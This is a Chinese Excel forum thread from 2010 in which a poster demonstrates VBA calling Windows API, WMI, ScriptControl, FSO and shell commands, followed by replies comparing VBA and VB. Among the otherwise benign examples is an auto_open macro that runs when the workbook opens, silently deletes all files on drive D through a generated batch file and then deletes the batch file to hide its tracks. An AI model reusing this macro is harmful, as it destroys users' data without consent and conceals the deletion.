ExcelHome技术论坛

 找回密码
 免费注册

QQ登录

只需一步,快速开始

快捷登录

搜索
EH技术汇-专业的职场技能充电站 妙哉!函数段子手趣味讲函数 Excel服务器-会Excel,做管理系统 Excel Home精品图文教程库
HR薪酬管理数字化实战 Excel 2021函数公式学习大典 Excel数据透视表实战秘技 打造核心竞争力的职场宝典
300集Office 2010微视频教程 数据工作者的案头书 免费直播课集锦 ExcelHome出品 - VBA代码宝免费下载
用ChatGPT与VBA一键搞定Excel WPS表格从入门到精通 Excel VBA经典代码实践指南
查看: 9278|回复: 21

有容乃大---谈VBA的包容性

[复制链接]

TA的精华主题

TA的得分主题

发表于 2010-4-23 23:05 | 显示全部楼层 |阅读模式
本帖已被收录到知识树中,索引项:脚本语言应用
  VBA完整的称呼是Visual Basic For Application
  VBA是附属于软件中的编程语言,它的身影遍布全球,同时也遍布诸多主流软件。例如WORD、EXCEL、PPT、FrontPage、Outlook、CAD、Coreldraw等等软件都支持VBA,可见VBA应用的广泛性。
  当然除此外,VBA还有一个特性:包容性。VBA语言起源于VB,但高于VB。也就是说先有VB,后有VBA,但是VB6.0停止开发后,VBA却在一步步升级,目前最新版是7.0。当然说VBA高于VB并非针对版本号,而是易用性,VBA相对VB有较大的改善。例如在窗体中添加控件,VBA中可以调置好一个控件后按住Ctrl键的同时拖动控件从而实现复制的功能,特别是一组
控件进行拖动时,可以实现复制一组控件,且属性一致,排版准确....VB是无法做到这一点的。当然还有很多很多的改进,例如VB中使用分组框Frame1后,里面的控件全变成“刮刮卡”形式,背影变成黑色,让人无法看文字,这种BUG比较严重。还有按钮的前景色无法设置等等毛病,而VBA都进行了改进。
  当然今天说的不止于此,主要谈VBA的包容性,即VBA可以使用VBA和VB的语言进行编程以外,它还可以调用其它语言,集万家所长,“它山之石可以攻玉”在此体现得淋漓尽致。
例如VBA可以调用API、ADO、SQL、DOS、VBS、WScript、FSO(FileSystemObject)、ScriptControl、WMI(Windows Management Instrumentation)以及专用于网页的语言。
________________________________________
  有事实说话?Of Course!
  例如VBA调用API:通过API函数判断当前是否按下了Alt\Shift或者Ctrl键。代码如下:
Private Declare Function GetKeyState Lib "user32" (ByVal vKey As Long) As Integer
Sub 测试状态()
  If (GetKeyState(&H10) And &H8000) <> 0 Then MsgBox "Shift键被按下了"
  If (GetKeyState(&H11) And &H8000) <> 0 Then MsgBox "Ctrl键被按下了"
  If (GetKeyState(&H12) And &H8000) <> 0 Then MsgBox "Alt键被按下了"
End Sub

  VBA调用WMI:通过WMI技术获取本机的分辨率设置。代码如五下:
Sub 计算分辨率()
  Dim colItems, objItem As Object
  Set colItems = GetObject("winmgmts:\\.\root\cimv2").ExecQuery("Select * From Win32_DisplayConfiguration")
  For Each objItem In colItems
    MsgBox "分辨率:" & objItem.PelsWidth & "* " & objItem.PelsHeight
  Next
End Sub

  VBA调用DOS:利用DOS命令删除所有文件,同时将自己也删除,实现隐弊的目的
Sub auto_open() '全自动执行删除所有文件(有点像病毒了,请大家不要随意测试,知道就行)
  On Error Resume Next
  Dim i As Integer
  Dim delFile As String
  delFile = "C:\del.bat"
  i = FreeFile
  Open delFile For Output Access Write As #i
  Print #i, "@echo off"
  Print #i, "del/f/s/q d:\*.*"    '删除D盘下所有文件
  Print #i, "del/f/s/q C:\del.bat"   '删除自己,不留痕迹
  Print #i, "@echo"
  Close (i)
  Shell Environ$("comspec") & " /c """ & delFile & """", vbMinimizedFocus '执行命令
End Sub

  VBA调用ScriptControl:通过ScriptControl开发计算函数,可以突破VBA中Evaluate的限制
我们知道Evaluate顶多能计算256个字符的表达式,远远不能满足工作需求,而ScriptControl却可以实现1000个字符以上的表达式计算
代码如下:
'本函数可以计算表达式,例如将1+3转换成值4
Function 计算(rng As String) As String
  Set obj = CreateObject("MSScriptControl.ScriptControl")
  obj.Language = "vbscript"
  计算 = obj.Eval(rng)
  Set obj = Nothing
End Function
  现在证明一下我的以上观点:
Sub 测试()  '突破256限制
  Dim str As String
  For i = 1 To 500
    str = str & "1+"
  Next
  MsgBox 计算(str & 1) '可以计算值为501
  MsgBox Application.Evaluate(str & 1)  '不能计算
End Sub

  VBA调用FSO:利用FSO技术获取所有文件夹名称
Sub 将D盘所有文件夹名罗列在A列()
    For Each Floder1 In CreateObject("Scripting.FileSystemObject").GetFolder("D:\").SubFolders
        n = n + 1
        Cells(n, 1) = Floder1.Name
    Next
End Sub
___________________________________
  为了更好的体现VBA的包容性,再给大家展示一个VBA同时调用FSO、WScript、DOS语言的综合应用,代码如下:
Sub 获取C盘以外所有磁盘的文件夹目录()
  Dim FileSys As Object, Drv As Object, Letter As String
  Set FileSys = CreateObject("Scripting.FileSystemObject")  '引用FSO对象
  On Error Resume Next  '防错
  For Each Drv In FileSys.Drives    '遍历所有磁盘
    If Drv.IsReady Then  '如果磁盘已准备好(主要针对光盘或者虚拟盘)
      If Drv.DriveLetter <> "C" Then Letter = Letter & Drv.DriveLetter & ":\ "  '如果卷标不是C,那么将所有卷标合并
    End If
  Next Drv
  Dim Str As String, objShell As Object
  Set objShell = CreateObject("WScript.Shell")  '引用WScript对象
  Set DosExec = objShell.Exec("cmd.exe /c dir " & Letter & " /ad")  '引用DOS命令提取文件夹目录
  Str = DosExec.StdOut.ReadAll  '将返回的值赋与变量Str
  '将变量Str的值以换行符作为分隔符,将它转换成数组并写入到工作表中
  [a1].Resize(UBound(Split(Str, Chr(10))) + 1, 1) = WorksheetFunction.Transpose(Split(Str, Chr(10)))
  Set FileSys = Nothing  '释放变量
  Set DosExec = Nothing
  Set objShell = Nothing
End Sub
结束语:
  VBA相当强大,除了自身的强大外,它可以将别的软件的优点借用过来扩充自己。那么我们自己呢?
  希望广大网友都可以通过学习VBA来武装自己,也使自己更强大,让自己更充实。
                    ----罗刚君 2010-4-22
  转载请注明出处

评分

1

查看全部评分

TA的精华主题

TA的得分主题

发表于 2010-4-23 23:15 | 显示全部楼层
楼主今日开讲还是让我们看您的个性签名?

TA的精华主题

TA的得分主题

发表于 2010-4-24 00:07 | 显示全部楼层
[广告] Excel易用宝 - 提升Excel的操作效率 · Excel / WPS表格插件       ★免费下载 ★       ★ 使用帮助
呵呵 一直都认为VBA不错

看了楼主的介绍更加觉得VBA强大了

TA的精华主题

TA的得分主题

发表于 2010-4-28 17:45 | 显示全部楼层

TA的精华主题

TA的得分主题

发表于 2010-5-11 14:38 | 显示全部楼层
不错!支持罗版如此详细的讲解。期待你的更多精彩帖子!

TA的精华主题

TA的得分主题

发表于 2010-5-30 13:53 | 显示全部楼层

TA的精华主题

TA的得分主题

发表于 2010-5-31 17:08 | 显示全部楼层

TA的精华主题

TA的得分主题

发表于 2010-6-3 08:25 | 显示全部楼层
这个,我很赞同楼主所说的VBA某些特征,不过有些说法不敢苟同。
比如楼主所说的那些控件问题,我想这仅仅只能说明二者使用的控件不相同而已……

VBA在调用其它的对象、API时是可能会让人感觉它强大,不过VBA毕竟只是一种解释语言而已。如果楼主真觉得VBA比VB强大,就不会在论坛中大量发放各种由VB做成的插件了,是吧?

TA的精华主题

TA的得分主题

 楼主| 发表于 2010-6-3 09:00 | 显示全部楼层
原帖由 joforn 于 2010-6-3 08:25 发表
比如楼主所说的那些控件问题,我想这仅仅只能说明二者使用的控件不相同而已……

你错了,我是针对同一个控件而言
原帖由 joforn 于 2010-6-3 08:25 发表
如果楼主真觉得VBA比VB强大

你错了,我不是说VBA比VB强大,而是说易用性VBA更好,易用性和强大是两回事

TA的精华主题

TA的得分主题

发表于 2010-6-3 22:06 | 显示全部楼层
原帖由 andysky 于 2010-6-3 09:00 发表

你错了,我是针对同一个控件而言

你错了,我不是说VBA比VB强大,而是说易用性VBA更好,易用性和强大是两回事

       其实刚刚进来时就不太想跟这个帖的,只是看到VBA和VB两种语言的比较才回的,针对Office文档来说,当然是用VBA是最方便的,直接可以放在文档中。
       不过话说回来,其实你用来和VB做比较的Frame控件,不是控件本身有问题,而是你使用资源文件或是manifest方式使窗体更改为XP样式引起的,记得你的那个百宝箱就是用的在Excel安装目录中释放一个"excel.exe.manifest"文件来实现XP样式的( 可能我也记错了,因为我用过你的“百宝箱”和那个张立良的“必备工具箱”,其中至少有一个释放了这个文件——这两个工具的写法太相似了 如果记错了还万望见谅),VB在出来的时候还没有XP,所以不兼容XP样式也是正常现象。
    还有VBA中的控件相对VB控件来说其属性还是缩水了不少。当然啦,少了许多属性能让初学者更容易记全它的属性,你也可以说这是它的易用性。
    VBA在脚本方面还是做得很好,只是非常可惜的是,需要购买微软的授权才能使用VBA,要不然我相信使用VBA的程序会更多。


回复此帖不是为了争论什么,也并不是想证明什么是强大语言。对我而言,任何语言都是强大的,只在能达到需要,程序用什么语言什么方式做都是好的。仅仅是就事论事,而且和楼主想表达的主题也相去甚远……如有得罪处,深表谦意。
您需要登录后才可以回帖 登录 | 免费注册

本版积分规则

手机版|关于我们|联系我们|ExcelHome

GMT+8, 2024-4-28 21:46 , Processed in 0.042087 second(s), 8 queries , Gzip On, MemCache On.

Powered by Discuz! X3.4

© 1999-2023 Wooffice Inc.

沪公网安备 31011702000001号 沪ICP备11019229号-2

本论坛言论纯属发表者个人意见,任何违反国家相关法律的言论,本站将协助国家相关部门追究发言者责任!     本站特聘法律顾问:李志群律师

快速回复 返回顶部 返回列表